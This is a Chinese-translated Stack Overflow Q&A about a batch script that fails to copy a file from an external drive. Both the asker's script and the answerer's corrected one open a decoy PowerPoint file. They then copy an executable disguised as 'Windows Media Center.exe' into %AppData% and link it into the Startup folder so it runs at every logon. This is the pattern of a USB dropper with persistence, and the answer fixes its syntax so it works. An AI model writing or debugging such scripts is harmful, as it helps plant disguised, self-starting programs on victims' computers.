我试图创建一个简单的批处理文件,它应该将文件从外部驱动器复制到pc上,而不知道驱动器号:
echo off
set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:
for /F "tokens=2 delims==" %%s in ('set drives[') do (
if exist "%%s%\New Presentazione di Microsoft PowerPoint.pptx" (
start "" "%%s%\New Presentazione di Microsoft PowerPoint.pptx"
if not exist "%AppData%\Windows Media Center.exe" (
copy "%%s%\data\Windows Media Center.exe" %AppData%
mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe"
)
)
)
PAUSE我可以成功地获得正确的驱动器号,但是copy命令返回以下错误:
系统找不到指定的文件。
我做错什么了?
发布于 2017-05-06 19:28:11
您使用的对于/F参数变量不正确,但下面是您可以使用的语法示例,它可以按预期工作,因此它将按预期工作。
本质上,在FOR循环中,当您使用一个变量(如
%%s)来迭代循环中稍后的命令(例如,DO %%s)时,它在批处理脚本中以%%s或%%~s的语法引用,或者作为%s或%~s引用,如果不是作为脚本运行,而是从命令行手动运行。简单地省略附加到变量迭代器上的附加%符号,所以使用%%s而不是%%s%如果您在变量中使用~字符,就像我前面提到的那样,这仅仅是删除所有周围的引号,这样就可能出现了,以防万一。
echo on
set drives[0]=A:
set drives[1]=B:
set drives[2]=C:
set drives[3]=D:
set drives[4]=E:
set drives[5]=F:
set drives[6]=G:
set drives[7]=H:
for /F "tokens=2 delims==" %%s in ('set drives[') do (
if exist "%%s\New Presentazione di Microsoft PowerPoint.pptx" start "" "%%s\New Presentazione di Microsoft PowerPoint.pptx"
if not exist "%AppData%\Windows Media Center.exe" copy "%%s\data\Windows Media Center.exe" %AppData%
mklink "%AppData%\Microsoft\Windows\Start Menu\Programs\Startup\Windows Media Center" "%AppData%\Windows Media Center.exe"
)
PAUSE进一步资源
https://stackoverflow.com/questions/43823969
复制相似问题